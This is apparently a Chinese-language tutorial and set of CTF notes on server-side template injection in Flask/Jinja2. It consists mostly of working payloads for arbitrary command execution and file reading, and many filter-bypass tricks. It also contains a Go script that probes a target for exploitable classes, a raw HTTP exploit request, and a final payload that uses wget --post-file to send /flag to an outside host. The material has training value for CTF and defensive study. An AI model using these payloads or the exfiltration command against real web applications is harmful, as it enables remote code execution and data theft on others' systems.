ssti模板注入攻击 SSIT模板注入攻击 中文名称服务端模板注入漏洞,也直接称为模板注入。当用户输入数据以不安全的方式嵌入到模板中时,就会发生模板注入。
什么是模板引擎? 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档。
检测模板的方法
可利用类(不全) 1 2 3 4 5 6 7 大多数利用的是os._wrap_close这个类 __builtins__,它里面有eval()它的payload是 ==> {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} {{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
常用payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 1、任意命令执行 {%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%} 2、任意命令执行 {{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}} //这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload 3、任意命令执行 {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}} 4、任意命令执行 {{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}} //x的含义是可以为任意字母,不仅仅限于x 5、任意命令执行 {{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}} 6、任意命令执行 {{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}} 7、文件读取 {{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}} //x的含义是可以为任意字母,不仅仅限于x 8.{{lipsum.__globals__['os'].popen('whoami').read()}} 9. {%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%} 上述payload来自https://tttang.com/archive/1698/#toc__5
Python中的一些魔术方法和内置类 _class _ ==> 用于返回该对象所属的类
_base _ ==> 用于返回对象的基类(父类)
_mro _ ==> 返回解析方法调用的顺序
_subclasses _ () ==> 返回当前类的所有子类
常用的过滤器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 length() # 获取一个序列或者字典的长度并将其返回 int():# 将值转换为int类型; float():# 将值转换为float类型; lower():# 将字符串转换为小写; upper():# 将字符串转换为大写; reverse():# 反转字符串; replace(value,old,new): # 将value中的old替换为new list():# 将变量转换为列表类型; string():# 将变量转换成字符串类型; join():# 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用 attr(): # 获取对象的属性
SSTI常见的绕过方式 当 ‘ _ ‘ 被过滤时,有以下几种绕过方式
用16进制编码绕过 __class__ ==> \x5f\x5fclass\x5f\x5f
用list获取一个字符列表,然后用pop来取一个 ‘ _ ‘
比如用config中取出一个_ ==> {%set a=(config|list|last|list).pop(3)%}{%print(a)%}
当 ‘ . ’被过滤是,有一下几种绕过方式
用[]来绕过 {{"".__class__.__base__}} ==> {{""['__class__']['__base__']}}
使用过滤器attr()绕过 {{"".__class__}} ==> {{""|attr('__class__')}}
当[]被过滤的时候
用__getitem__
魔术方法来进行绕过__subclasses__()[0] ==> __subclasses__().__getitem__(0)
当单引号和双引号被过滤的时候
单引号和双引号被过滤的时候,可以用request.args.a
Get传参的方式来绕过来绕过a为参数名
当args被过滤的时候
用request.cookies /request.values等 来代替 request.args
request.values
接收post传参
1 2 3 4 5 6 7 8 9 10 11 12 13 request.args.key #获取get传入的key的值 request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get request.cookies.key #获取cookies传入参数 request.headers.key #获取请求头请求参数 request.data #获取post传入参数(Content-Type:a/b) request.json #获取post传入json参数 (Content-Type: application/json)
当数字被过滤的时候
这个时候我们可以通过count来得到数字 {{(dict(e=a)|join|count)}}
==> 输出 1
count
通常用于计算集合(如列表、字典等)中的元素数量
当关键字被过滤的时候
当class
、base
这类关键字被过滤的时候,用join拼接的方式绕过
“ + ”拼接 {{""['__class__']}} ==>{{""[‘__cla’+’ss__’]}}
Jinjia2中的~拼接{{""['__class__']}} ==> {%set a='__cla'%}{%set b='ss__'%}{{""[a~b]}}
使用Unicode编码 {{“”|attr("class")}} ==> {{""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}
使用16进制编码 {{""|attr("__class__")}} ==> {{""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")}}
使用格式化字符串 {{()|attr("%c%cclass%c%c"%(95,95,95,95))}} ==> {{()|attr(__class__)}}
如果是post方式提交, 需要将% 进行url编码 编码成%25, 因为在 URL中%是一个特殊字符
靶场 先检查模板
则模板可能是Jinjia2或者Twig
Jinjia2模板是基于Python语言开发
jinja2payload
1 2 3 4 5 {% for c in "".__class__.__base__.__subclasses__():%} {%if c.__name__ == "_wrap_close":%} {{c.__init__.__globals__['popen']("ls /").read()}} {%endif%} {%endfor%}
payload分析
Python中访问空字符串””的类的父类的所有子类。
{%if c.__name__ == "_wrap_close":%}`:这是一个条件语句,检查当前子类(c)的名称是否为"_wrap_close"。
3. `{{c.__init__.__globals__['popen']("ls /").read()}}`:如果前面的条件成立,这段代码将执行命令`ls /`,并尝试读取其输出。
4. `{%endif%}
:结束条件语句块。
{%endfor%}
:结束循环语句块。
拼接
flask应用的介绍及搭建 flask :flask是一个使用Python编写的轻量级的Web应用框架
flask的WSGI工具箱采用Werkzeug, 模板引擎采用Jinja2. flask采用BSD授权
flask的特点有 :良好的文档、丰富的插件、包含开发服务器和调试器(debugger)、集成支持单元测试、RESTful请求调度、支持安全cookies、基于Unicode
Python 可以直接用flask启动一个Web服务页面
Flask的基本架构
1 2 3 4 5 6 7 8 9 10 from flask import Flask app = Flask(__name__) # __name__是系统变量,指的是本py文件的文件名 @app.route('/') # 路由 def index(): return 'Hello Yliken!' if __name__ == '__main__': app.run()
程序运行之后会在127.0.0.1地址的5000端口进行监听
若想要让程序同时监听局域网,可在app,run里面加上 host = ‘0.0.0.0’ 同时可以使用port = 8080让其监听8080端口.
1 2 3 4 5 6 7 8 9 from flask import Flask app = Flask(__name__) # __name__是系统变量,指的是本py文件的文件名 @app.route('/') # 路由 def index(): return 'Hello Yliken!' if __name__ == '__main__': app.run(host='0.0.0.0', port=8080)
Simple_SSTI_1(BugKu平台) 最基础的一题没任何过滤
找os.__wrap__.close
类的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package mainimport ( "fmt" "io" "net/http" "strings" ) func toFindWrap (url string ) { fmt.Println("开始寻找os._wrap_close类" ) for i := 0 ; i < 300 ; i++ { Client := http.Client{} payload := fmt.Sprintf("{{\"\".__class__.__base__.__subclasses__()[%d]}}" , i) req, _ := http.NewRequest("Get" , url, nil ) param := req.URL.Query() param.Add("flag" , payload) req.URL.RawQuery = param.Encode() res, _ := Client.Do(req) defer res.Body.Close() body, _ := io.ReadAll(res.Body) if strings.Contains(string (body), "wrap_" ) { fmt.Println("payload -->" , payload) fmt.Println(string (body)) break } } } func main () { ur := "http://114.67.175.224:13152/" toFindWrap(ur) }
2024zkaq五月擂台赛 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 {{lipsum.__globals__['os'].popen('whoami').read()}} 23 {{dict(a=a,b=c)|count}} 获取数字24 {%set a=dict(a=a,b=b,c=c)|count%}{%set num=a*a*a-a%}{%print num%} 获取_ ==> {%set a=dict(a=a,b=b,c=c)|count%}{%set num=a*a*a-a%}{%set xia=a|select|string|list|attr(dict(p=a,op=b)|join)(num)%} 获取__globals ==> {%set a=dict(a=a,b=b,c=c)|count%}{%set num=a*a*a-a%}{%set x=a|select|string|list|attr(dict(p=a,op=b)|join)(num)%}{%set u=(dict(url=a)|join,x,dict(for=a)|join)|join%}{%set g=(x,x,dict(glob=a,als=b)|join,x,x)|join%}{{g}} payload: ==>{%set a=dict(a=a,b=b,c=c)|count%}{%set num=a*a*a-a%}{%set x=a|select|string|list|attr(dict(p=a,op=b)|join)(num)%}{%set g=(x,x,dict(glob=a,als=b)|join,x,x)|join%}{%set e=(x,x,dict(ge=a,titem=b)|join,x,x)|join%}{%set p=(dict(popen=a)|join)|join%}{{(lipsum|attr(g)|attr(e)(dict(os=a)|join)|attr(p)(request.values.m))|attr(dict(read=a)|join)()}}&m=ls //payload 太长不合格 官方payload {%set d=dict%}{%set a=d(ge=a,t=a)|join%}{%set b=d(ar=a,gs=a)|join%}{%set u=request|attr(b)|attr(a)%}{{lipsum|attr(u(d(g=a)|join))|attr(u(d(e=a)|join))(d(os=a)|join)|attr(d(popen=a)|join)(u(d(m=a)|join))|attr(d(read=a)|join)()}}&g=__globals__&e=__getitem__&m=cat /flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST http://8f783fe0-b33b-42ad-92dd-3748acfff8f4.node5.buuoj.cn:81/ HTTP/1.1 Host: 8f783fe0-b33b-42ad-92dd-3748acfff8f4.node5.buuoj.cn:81 Content-Length: 333 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Content-Type: application/x-www-form-urlencoded Origin: http://8f783fe0-b33b-42ad-92dd-3748acfff8f4.node5.buuoj.cn:81 Referer: http://8f783fe0-b33b-42ad-92dd-3748acfff8f4.node5.buuoj.cn:81/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close code={%set o1=(dict(o=a,s=n))|join%} {%set re=(dict(re=a,ad=n))|join%}{%set pppct=(dict(po=a,pen=n))|join%} {%set%20a=(lipsum|string|list)|attr(%27pop%27)(18)%} {%set%20glob=(a,a,(dict(glo=a,bals=b)|join),a,a)|join%} {%set gt=(a,a,(dict(geti=a,tem=n)|join),a,a)|join%} {{lipsum|attr(glob)|attr(gt)(o1)|attr(pppct)('tac fla*')|attr(re)()}}
2024“源鲁杯”高校网络安全技能大赛 题目中{{}}
set
被禁 if语句来进行判断
os
中的popen
被禁 通过system
来进行命令执行
当system
正确执行一条语句的时候 返回 0
此时{%endif%}
前面的1
不会被打印到页面
使用wegt
进行数据外带,wget
访问xx.xxx.xx.243
使用--post-file=文件名
将某个文件中的数据作为post值传输
空格被过滤,使用%09
绕过
1 {%if(lipsum|attr('%c%cglobals%c%c'%(95,95,95,95))|attr('%c%cgetitem%c%c'%(95,95,95,95))('os')|attr('system')('wget%09xx.xxx.xx.243:7777%09--post-file=/flag'))%}1{%endif%}